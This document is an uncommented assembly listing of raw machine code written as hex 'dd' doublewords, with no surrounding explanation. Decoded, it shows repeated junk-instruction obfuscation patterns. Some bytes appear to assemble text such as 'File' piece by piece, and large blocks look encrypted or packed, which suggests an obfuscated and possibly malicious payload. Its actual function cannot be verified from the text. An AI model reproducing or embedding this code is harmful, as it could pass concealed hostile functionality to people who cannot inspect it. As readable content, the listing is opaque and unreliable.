dd 0BD83C08Bh, 6131625h, 83097500h, 132C81BDh, 19740006h dd 0C08B5350h, 421B8h, 15858900h, 8D061331h, 15A9E49Dh dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 421B8h, 15858900h dd 8D061331h, 15A6859Dh, 5BD3FF06h, 8DC08B58h, 132A2D9Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 0Bh, 7C550BADh, 2E4DEEF9h, 664EA313h, 596843B8h dd 8150C480h, 67B5C1h, 68FC00h, 80000000h, 8B5A42CBh, 0A34FFFBh dd 0F5EC68Ah, 178Ch, 0B2B96000h, 0E847F7A5h, 0Ah, 0C6EED06Ch dd 0AE64D6F4h, 615A39FBh, 0E606C681h, 0FD8A5081h, 0F873C681h dd 815124F5h, 9002A0D3h, 0C6815F09h, 18C44EFCh, 804AE081h dd 66560C64h, 342BE881h, 6611048Fh, 816CC8BFh, 0FB82B4EAh dd 0B0C28162h, 5262FB82h, 0CE9h, 42427B00h, 0DFAD6283h dd 93FE1D63h, 0FA8158C1h, 0FFFF992Ch, 1E850Fh, 880F0000h dd 5, 8FD38166h, 33E97Bh, 810B0000h, 0E51ECEDDh, 0BFEA91F8h dd 8FE626D2h, 5860F60h, 0B8000000h, 4B056FFCh, 0FF53E961h dd 2244FFFFh, 4FBA7F71h, 0F388535Eh, 0BA98D58Ch, 0AC336552h dd 9E889h, 16A60000h, 0E15B28F8h, 5F3A2FEAh, 81F4ED80h dd 0E284C7h, 14E900h, 0A6B40000h, 5B28F816h, 3A2FEAE1h dd 6043E021h, 0F2CC6942h, 71689B79h, 8B000038h, 0C5805AC8h dd 0BB378B11h, 68DE59FBh, 0F33FF681h, 890F661Bh, 4, 46F6BB66h dd 73E5EE81h, 0DB8122A6h, 67228F02h, 0C70FF681h, 91B865CCh dd 8963F68Ch, 13E937h, 3A450000h, 593AF78Fh, 0E3B3940Eh dd 51E660C7h, 43063DA7h, 1EF832Eh, 4F4FC38Bh, 8182B74Fh dd 1EAh, 13850F00h, 0B1000000h, 28E911h, 96330000h, 0FBD675F1h dd 0D5B40441h, 830FECF0h, 2, 82E93DB7h, 0CAFFFFFFh, 0E34262D6h dd 0C61E9144h, 2C4A8624h, 8D8D1A87h, 61A3F6Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 51C35040h, 1A51BE66h dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0C6DD09C3h, 8D892FB9h, 6131285h dd 18DD85C7h, 623C0613h, 8EBF0000h, 0C700C69Eh, 13305585h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0CCA841B7h, 3594B863h, 0E9D2BF0Fh dd 11h, 8040B67Ch, 8F5D0B95h, 95945850h, 4F67DBB7h, 418D0145h dd 0FF061317h, 130ED5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0C58AB8C9h dd 958B7E50h, 6132881h, 1D8995FFh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BDB643C3h dd 60767591h, 830Fh, 0BB660000h, 830FA482h, 3, 6AC2BF0Fh dd 0A995FF00h, 8B06130Dh, 6D0FEBC0h, 0C43E1A46h, 0E6EA6BCh dd 0B21A4263h, 0C3E9357Fh, 42000000h, 5E4462F4h, 0FE2482CCh dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7F47Bh, 0C271CD44h dd 0A9E063DDh, 0DBE595E1h, 57E66AF9h, 5AF64593h, 4C08557Dh dd 6549CFDh, 62D774D7h, 3F91B9EFh, 11DB3A0Bh, 0DEE0EC72h dd 81C92B10h, 997C109Bh, 0E410581Ch, 1Fh, 1975E8C7h, 520FD388h dd 0D387A723h, 1E2D700Fh, 434FC539h, 83E2EF00h, 0FAC2921Fh dd 0BDE17B60h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah dd 1A3F8568h, 4126E906h, 574BFFF9h, 4CA8C124h, 43F36D51h dd 10E8CD45h, 0EC000000h, 70B8FF28h, 8D329E87h, 7D5C16E2h dd 8B1A0516h, 133521BDh, 66525B06h, 5F944DB8h, 59A7C381h dd 81660000h, 337540F7h, 71B589F6h, 0FF06132Bh, 0C68A1E34h dd 958B605Ah, 6130159h, 81615A50h, 8D906DEAh, 0B1858B3Fh dd 81061325h, 0E4020EAh, 83C08117h, 815BC263h, 0CCBC25EAh dd 0B58D8B7Ah, 52061316h, 14E9h, 3816E600h, 0DF1DE1Fh dd 0BA4119EEh, 3CAE9F31h, 6BA3DE01h, 33048F54h, 23E1858Bh dd 0FA8B0613h, 0F04EE83h, 0B80h, 5830F00h, 0B9000000h dd 53568536h, 0A704FE81h, 850FFFFFh, 0FFFFFF87h, 1DF9858Bh dd 9D8D0613h, 6131F31h, 23E4B8h, 5D858900h, 0E806131Eh dd 0 dd 0D0558h, 3890000h, 23E4E9h, 8F9h dup(0) dd 16EB00h, 4 dup(0) dd 1000000h, 40001h, 6A061A00h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 5134C352h, 37B69B05h dd 0AE86050h, 7E000000h, 188CC815h, 0CCE8B9B9h, 8A0F23h dd 5A000000h, 61C28B66h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 429EC351h dd 0EE8h, 0BE883800h, 0C3A988F9h, 0ED427C28h, 0FB7EF97h dd 6A5FDABFh, 10E900h, 2F3F0000h, 0E9A93E79h, 45F1068Bh dd 0AF2D24C3h, 6A3E74h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0A4C35646h, 8B7C3F52h, 8D9FBB0Bh, 1A66A485h dd 0C9816606h, 0F88B158Eh, 64A9B990h, 0F502EDFh, 287h dd 90CF8B00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 38C35747h, 0EB5B3A69h, 86E4E412h, 14D19589h, 6A0613h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 92C35747h dd 7649B85Eh, 61FE8B60h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0F02847C3h, 2FB436D9h dd 9E924h, 497B0000h, 0BF840847h, 0FF00DE4Ch, 1307F195h dd 0C1816606h, 9D2BA5CDh, 61329CDh, 5D0E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0E8F5F9h, 5D000000h, 66A9ED81h, 6A061Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 493202C3h dd 8166AD68h, 6ADACFE3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 7139C352h, 0B0739AA4h dd 6E8h, 0BC213E00h, 8B22706Dh, 92685BD9h, 664F5D93h, 815F4FBFh dd 9C322434h, 95FF4F5Dh, 6130DA9h, 5E8h, 0DD678900h, 0BD3115C4h dd 6130165h, 5B58D5Ah, 6A061A65h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0E698C353h dd 20F5B589h, 0B70F0613h, 5206C7D2h, 0C76D6765h, 6E6F0446h dd 6A6C63h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 57D6B9C3h, 661CFC89h, 0B509C88Bh, 6130B39h dd 610846C7h, 0B7007373h, 0F59D8933h, 6A061315h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E81F0601h, 5, 1FC7181Ah, 66605F97h, 412DE081h, 5858D61h dd 6A061A65h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 5B17C355h, 4ED891D6h, 0B52213Ch dd 1324A1BDh, 52505006h, 2C806ABBh, 0B9310F44h, 0DCB3994h dd 489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 752945D7h, 0FF40BBFEh, 13117995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0E4812029h, 89E3D48Dh, 130E1D9Dh, 0FC00B06h dd 4B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 31A3D53h, 87E9A505h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 5B1FC351h, 122C875Eh, 0D78B74CFh, 16CA9968h, 46BA6670h dd 24348144h, 7016CBB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0F7C35242h, 81D6CB0Ah, 0FFA64EC2h, 130DA995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 1926CFF4h, 0C88A7E89h, 12198D8Bh, 0B58D0613h dd 61A6505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0F3C35040h, 0C78FA597h, 34383106h, 57006A36h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0E280B6D8h, 258D89C1h, 0E9061312h, 0Ah, 0BA878C65h dd 415C5A07h, 46C78567h, 342D3704h, 85895131h, 61314A5h dd 846C75Fh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 86C35242h dd 0A2C92D46h, 6AF9BDD3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 7038B10Ah dd 673D007h, 0DE9h, 4077EC00h, 0A7FDD57Bh, 0DB0CA3D9h dd 858D5C7Ah, 61A6505h, 2B7108B9h, 0EE85025h, 0A7000000h dd 2D5E41D5h, 0B435EED1h, 4C8D4C24h, 17B46004h, 5A615857h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0EFD0C353h, 33EAFDD6h, 0EAD958Bh dd 95FF0613h, 6131179h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 80C35141h, 0D15F096Ah, 0ADC59948h, 0FC00B78h dd 1184h, 0AD850900h, 0E906130Dh, 1A2h, 80D38B66h, 0C56836C5h dd 0E9935687h, 7, 0ED8EF2ABh, 81D7DA8Bh, 79672404h, 0FFF96CA9h dd 130DA995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 9C9E21Eh, 0BFBAAD7Ch, 8D7FE441h dd 1A6505B5h, 0C7D78B06h, 6C694606h, 55006A65h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4C287372h dd 20E9FD1h, 11E973F0h, 0DF000000h, 0AF087828h, 0C4CA9019h dd 0E583FB08h, 312E3BCBh, 6D0446C7h, 6A636E6Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 7DD4C351h, 503ABB66h, 6820Fh, 85890000h, 6131A2Dh, 6C0846C7h dd 89737361h, 130635B5h, 0C46C706h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 92C35040h dd 26B96669h, 6A006AE3h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0B006C351h, 518D8BACh dd 0F061330h, 858DD6BFh, 61A6505h, 0AD58589h, 0B5900613h dd 0BB6650C9h, 89907D2Dh, 131DB9B5h, 7995FF06h, 8B061311h dd 0FC00BD6h, 2E84h, 28B0F00h, 8B000000h, 44E9D3h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0A38339C3h, 0E90C0B7Eh, 0FFFFFAAAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0E5C35343h, 0B58DA690h, 6137533h dd 0C204F781h, 0B81FB8h, 0F5000000h, 6AE6FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BBA910C3h dd 4D074315h, 0E98166CDh, 8BF501E5h, 0E8C18BCBh, 0Ch, 0ED9FC65Bh dd 1D0D6612h, 266AA778h, 13799D8Bh, 0F5F0613h, 0C781F1B7h dd 6C32h, 19B58B51h, 5B06130Ch, 1AD668h, 85896000h, 6130B81h dd 2E7B8BBBh, 0F586106h, 37FFF7BFh, 59D7BF0Fh, 0CE8h, 91402D00h dd 0B2A3D782h, 0D433AD8Eh, 0D5E281F9h, 5B471E22h, 34D1E981h dd 0D68143F3h, 373CABDCh, 4B47C181h, 0B70F4BCBh, 40C181D1h dd 800077EEh, 8951A9CAh, 13220585h, 66078F06h, 0EF81D78Bh dd 11FCA05h, 0DE8h, 73939000h, 0B662425Bh, 56A2CADEh, 0B50BC1FBh dd 61322CDh, 1C7815Bh, 81011FCAh, 1E8h, 12850F00h, 66000000h dd 23E9F78Bh, 53000000h, 69491559h, 0C14D5359h, 0E932B637h dd 0FFFFFF6Eh, 0AB70E7Ah, 0A7B5E98Bh, 48E21701h, 2BE47770h dd 8D8D975Eh, 61A6DCBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 22C35040h, 0BD8BC78Bh, 6130C71h, 1BBD8D89h dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 67BFBC3h, 29EEDD61h, 858B64A8h, 6131FBDh dd 18DD85C7h, 5DA80613h, 95890000h, 6133085h, 305585C7h dd 613h, 0C18A0000h, 2831B5FFh, 0B5890613h, 6131FD1h, 1D8995FFh dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C06C2FEBh, 0A223BDE8h dd 844E5035h, 0BF1954B5h, 496875CBh, 7FAFBE46h, 0C69E7368h dd 0D31BF1A4h, 0A9208144h, 0D4E958EBh, 9B8DB5AFh, 0A592DDFDh dd 0B1CAFE9Ch, 36A80E93h, 0FC8A4A18h, 0ABA80E90h, 5475EAD5h dd 3CA80E91h, 0BA8A4A19h, 0E957AE5Dh, 448A4A19h, 0ABA80E96h dd 0F75EAD5h, 0DFA80E96h, 898A4A1Eh, 59A80E96h, 38A4A1Fh dd 0ABA80E97h, 2575EAD5h, 3B82D42Fh, 0C0031330h, 52B23FA3h dd 2A1290A7h, 0D12157B8h, 43907B2Fh, 3B47D42Fh, 0C0031330h dd 52B23FABh, 35CD90A7h, 0D12157B8h, 43907B3Bh, 2436D42Fh dd 0C0031330h, 52B23FB7h, 357990A7h, 0D12157B8h, 43907B37h dd 259FD42Fh, 0C0031330h, 52B23F83h, 340A90A7h, 0D12157B8h dd 43907B03h, 2569D42Fh, 0C0031330h, 52B23F8Fh, 378890A7h dd 0D12157B8h, 43907B1Bh, 26EBD42Fh, 0C0031330h, 52B23F97h dd 37F690A7h, 0D12157B8h, 43907B13h, 5012B8C3h, 0CEDF152Ah dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FE4F1C0h, 0A8ED96A4h dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah dd 0BA415564h, 0CE75EAD5h, 9D3AAE63h, 848C062Bh, 11AB5342h dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 2FBFDB2Fh, 94751330h dd 0D9020112h, 5FF102A0h, 0EC79AEA4h, 41AE51A1h, 4322DC09h dd 0BA8C0F51h, 0DF103773h, 0C821732Ah, 4ED34628h, 0FD5BEA2Ch dd 508C152Bh, 52009881h, 0ABAE4BD9h, 0EFD2A5FBh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 5FE5B1C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h dd 0BACC152Ah, 47A14C30h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h dd 0D9F9FA31h, 5FF102A0h, 0D79AEA4h, 2320949Ah, 328C551Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 458A15C2h, 0BE290BA2h, 43907AD1h, 0DFA02429h dd 4D1957h, 54A8515Eh, 0D775532Ah, 52BB58BFh, 0CE19CDA1h dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 5FF102A0h, 0D79AEA4h dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah dd 0D4A7B222h, 860085E1h, 4322DC08h, 0BA8C0F51h, 0FEF8E173h dd 3E9D9FA7h, 855757B8h, 6E20D6A0h, 29215DDFh, 174D6h dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 52BB506Bh, 0C8204526h dd 4ED34628h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h dd 4C9787D5h, 8C2357B1h, 0EF491786h, 2FBFDB2Fh, 94751330h dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h dd 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh dd 0F8A851A2h, 5818EA80h, 0DFAE42ABh, 8558B9E2h, 4332DC08h dd 0BA8C0F51h, 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h dd 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h dd 0B9CFD226h, 54A851A2h, 0D775BF86h, 52BB58BFh, 7726DDA1h dd 0CE25FB63h, 43906E3Dh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h dd 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh dd 5FF102B0h, 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h dd 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h dd 828668A1h, 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 3E9D8FA7h dd 875757B8h, 320A09Ah, 0CE25FB0Eh, 43906E3Dh, 0ECCE825Dh dd 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 5FF8D9C0h, 0A8ED96A4h dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 43907B2Bh, 8C32DCF1h dd 0BA8C0F44h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h dd 4EC64038h, 0DF07462Ch, 52B23F7Ah, 3C6D5h, 5492B85Eh dd 3075152Ah dd 5CDDAEAEh, 2B978FA7h, 0D9FB57B8h, 5FE4CDB0h, 0DD7BAEA4h dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 7D32DCAAh, 168C0F44h dd 3A70CB2Fh, 96751330h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h dd 4582D7E3h, 3044BAh, 2AE900h, 4C70000h, 24h, 0E800h dd 815D0000h, 1A73A8EDh, 24448B06h, 0C5858904h, 0B8061304h dd 0 dd 4F8D8D8Dh, 0E1FF0613h, 6754B8h, 0E00CEB00h, 0A4324FFh dd 8138BC57h, 0E980DE18h, 585h, 579E9h, 4412A000h, 5CF24466h dd 42085C7Eh, 63ED3E64h, 84D05D43h, 0D338F726h, 0CAF0CE86h dd 0D8FAD87Ah, 0C3E5C583h, 0EFFCDA72h, 28217DF0h, 0B7EA16B8h dd 0E06CBD8Bh, 6EDA6D51h, 0E56DFBDFh, 71E37254h, 54FDEE0h dd 8FC11234h, 4E220730h, 0CCF357E9h, 814BAA7Bh, 0FE4CE0E2h dd 73DB6B6Fh, 0A58D6B54h, 19F1F277h, 0DCE485C9h, 0F8694E8Dh dd 81C91BC5h, 428C901Ah, 63233E7Ah, 11446344h, 109E74B5h dd 450B5C7Eh, 0B86D9C24h, 0F1168887h, 9D280FACh, 98E77F47h dd 745615DFh, 664C6AE0h, 98E978D2h, 4F8A2F55h, 6413A8EAh dd 5B65EF3Eh, 4363E779h, 4B681E43h, 2FBD8B1Ah, 859BCCBh dd 0F7D771C6h, 7047ED1h, 39E401C4h, 3BCA9BFAh, 0DCC90AC0h dd 0AB851C1h, 0D17FD0B5h, 42600180h, 4C6B1B46h, 75D41819h dd 1EB19986h, 1735882Ah, 70FDC746h, 6DED1C2Dh, 0A97A71D3h dd 20223317h, 5B71C08Eh, 24AD9831h, 6D2B51EAh, 0FCA95F4h dd 2BB59D2Bh, 10F4h, 6DE0C700h, 17559F81h, 0C499438Dh dd 32Bh, 0DE6ABD6Ah, 51F94B8Fh, 69E28C00h, 842226B9h, 592F7FA3h dd 20BA535Ah, 9D3B22Ch, 85D474C7h, 2963E03Dh, 384DE290h dd 0ECCBAAA8h, 89D872C6h, 0B092C008h, 0A9912E1Ch, 8C067719h dd 55109E69h, 81005130h, 15A6A837h, 0BC362A3Bh, 941933Fh dd 0ECFE3AA9h, 0D7FB06E4h, 0CE00C888h, 0D3F5D57Fh, 5A7CCD85h dd 89F0820Ah, 0DE28362Ch, 0F6FC0B08h, 0E485E4F3h, 1211E0C7h dd 0A6922403h, 231CCF1Eh, 0FA661B04h, 61507DB2h, 24C496F0h dd 0B63E5FFAh, 0A533DF5Ch, 0BC310EADh, 0FA24C562h, 0B898272Bh dd 0E6C10FD9h, 9Ah, 0C5BBA34Ch, 4DFF5274h, 0BC9C496Eh dd 7B2A4B7Ch, 0EB3D6371h, 237F0E5Fh, 65109E9Bh, 50E48E2Bh dd 66F6DCFAh, 0E8795DECh, 1082D564h, 1B79C77Bh, 9E9B70EAh dd 0B5D43910h, 0ADA53315h, 292BBA9Ch, 3513A88Ah, 8CDBE524h dd 633C6358h, 0EB40AD57h, 2FCC468Eh, 0BD1D3583h, 37064E9Bh dd 0B1DD310Fh, 79DB6A18h, 1567C59h, 85B7D47h, 253C6340h dd 55E9EF11h, 0F988D7E1h, 109E3F98h, 0BF2E11CEh, 109E4063h dd 0A5DFE92Ch, 7FC95E14h, 66E87A60h, 7D608F41h, 4CC5BFEh dd 6ABD7CD6h, 6A508FDEh, 6A6C74D6h, 2D1BB0D5h, 7B15FD4Ch dd 696E59FEh, 0CC29F50h, 2D82D41Ch, 0F6470558h, 280D3097h dd 26E7ACFFh, 71F46747h, 0B8109DD5h, 41C6D3A0h, 0CE8AB5A3h dd 0E4FE3A31h, 0F45EEED0h, 0FF1FB5ECh, 0A389FFFFh, 7AEBC8BEh dd 168EA18Fh, 2441578h, 203D9DAFh, 63E3AB3Ah, 98A59DF2h dd 80015031h, 89C31638h, 484596B8h, 293859F7h, 37A689B6h dd 0A8A28DBh, 2D5761A4h, 59C4EB9Ch, 1469B31Bh, 0DC6D5F69h dd 0DD705270h, 0C0E23CB1h, 6AAB0A89h, 75679F45h, 0CAAB6A2Fh dd 278B0A7Bh, 85030A8Ah, 61EB3EF4h, 0B8CE5F41h, 233569D3h dd 8FDEBF36h, 714E3831h, 7A9BFDFCh, 7BCC0E10h, 640584D5h dd 671F4A46h, 62486748h, 0ABEA7BCDh, 769B60BAh, 0DCE42904h dd 60AE00ADh, 55E4290Ah, 4C6ADE71h, 0BD194C6Bh, 86FE5C26h dd 489BBD07h, 5DC03100h, 2F436269h, 0DE38AD8Ah, 0A7B91DE4h dd 2C3D15A3h, 0CA448CEDh, 1A2E8131h, 0C4696BCh, 82C6193Dh dd 0EB60AAB3h, 0C1DAF3C1h, 0C55B0Bh, 0BDFF0000h, 0DDC2E16Dh dd 0ACE10433h, 109DCE32h, 0B0359AFBh, 0C380682Eh, 0F364DB80h dd 2B0C4A92h, 4E96B607h, 3492B80Ch, 3393BD0Eh, 3694C00Dh dd 4BC73619h, 14109E71h, 7148C233h, 8C11109Eh, 0D87CC9EDh dd 226FBE10h, 2A0C193h, 0E4C29020h, 0FFDF69BEh, 0E6C488D9h dd 0D45CDEC9h, 76F99EB0h, 9E5B8B07h, 50315410h, 5221C66Bh dd 7E46A684h, 26810D5Ch, 0A791F67Dh, 0E20D5C3Dh, 0A7634C8Bh dd 116961C4h, 0F041935Dh, 95D70D5Ch, 15488724h, 109DF3B9h dd 1B593D82h, 51E072C2h, 75D88B30h, 3A18A80Ah, 0FF6E7B5Bh dd 0E466FAE0h, 8F01DCh, 0DD5D0000h, 9DB535AEh, 61467310h dd 0FFE1BC33h, 7F09D380h, 0BD32300Ah, 0E4C1E16Dh, 50E16BBEh dd 13A5A731h, 0E5983771h, 7A1B3BBFh, 6BE5765Ch, 0E796634Ch dd 36D7DA72h, 6B059EFFh, 0A9066744h, 9E50DA34h, 5A62A310h dd 4D07567Ch, 0FE6F506Dh, 109E50A4h, 74C583D8h, 0B0044615h dd 2B4ACB9Ah, 3222AFA1h, 341EAE94h, 4391B996h, 15DF3E0Fh dd 0FAD870C3h, 0E7C785D8h, 14C8h, 5E7B6600h, 0B4920C81h dd 87C3109Dh, 9F2F81DEh, 677194A3h, 0E571BDEDh, 6DDF7254h dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 89240489h, 405E0h dd 0E8830000h, 24048704h, 285F685Ch, 4890000h, 44396824h dd 34890000h, 0D8BF5724h, 0C1604907h, 0F78107E7h, 17F8042Ah dd 8104E7C1h, 0E3F27E7h, 14CF813Ah, 8163A84Eh, 0B43DD7F7h dd 8BF88975h, 0C483243Ch, 348B5404h, 4C48124h, 51000000h dd 8B9h, 1E98100h, 1614C41h, 1C181F1h, 89614C41h, 34FF5901h dd 0C4815E24h, 4, 582434FFh, 0E904C483h, 0FFF90808h, 0D0B8FCE2h dd 3061A78h, 55D38BC5h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h dd 8B28FD49h, 0DA8EFD25h, 0CDCFFD25h, 472DFD25h, 821FFD25h dd 60F5FD25h, 11D2FD25h, 0A9B3FD25h, 0F5AEFD25h, 0DAD5FD25h dd 0CDA2FD25h, 3907FD25h, 8360FD25h, 6141FD25h, 1022FD25h dd 0D7EEFD25h, 8B32FD25h, 259DFD25h, 2295358Ah, 4A76D6A2h dd 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h dd 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah dd 2576FD7Ah, 0A375A3F5h, 0CB75A3EAh, 0E475FD7Ah, 0F374FC7Bh dd 9074FC7Bh, 0BC75F8B2h, 23F0701Ah, 0A673E707h, 8D0C49FFh dd 58F0707Ch, 6C73E707h, 0E80C89FFh, 0A8F0707Ch, 3573E707h dd 440C4DFFh, 1EF0707Ch, 1E73E707h, 0D10C85FFh, 15F0707Ch dd 7B73E706h, 630C81FFh, 32F0707Ch, 0D773E701h, 350C7DFFh dd 37F0707Ch, 4273E701h, 0FF0C79FFh, 44F0707Ch, 0F073E701h dd 0A60C75FFh, 4FF0707Ch, 0A673E706h, 8D0C69FFh, 16F0707Ch dd 6C73E701h, 0E80C71FFh, 85F0707Ch, 3573E701h, 440C6DFFh dd 3EF0707Ch, 1E73E706h, 0D10C69FFh, 0AEF0707Ch, 7B73E706h dd 630C59FFh, 0D6F0707Ch, 0D773E706h, 350C55FFh, 1AF0707Ch dd 4273E706h, 0FF0C51FFh, 24F0707Ch, 0F073E706h, 0A60C65FFh dd 53F0707Ch, 0A673E707h, 8D0C61FFh, 63F0707Ch, 6C73E707h dd 0E80C5DFFh, 64F0767Ch, 3573EE73h, 440C10FFh, 0E6F0767Ch dd 1E73EE7Bh, 0D10C0CFFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah dd 0C77417FBh, 0D525FB60h, 0ADFDF53Fh, 916F8496h, 0CFB73422h dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 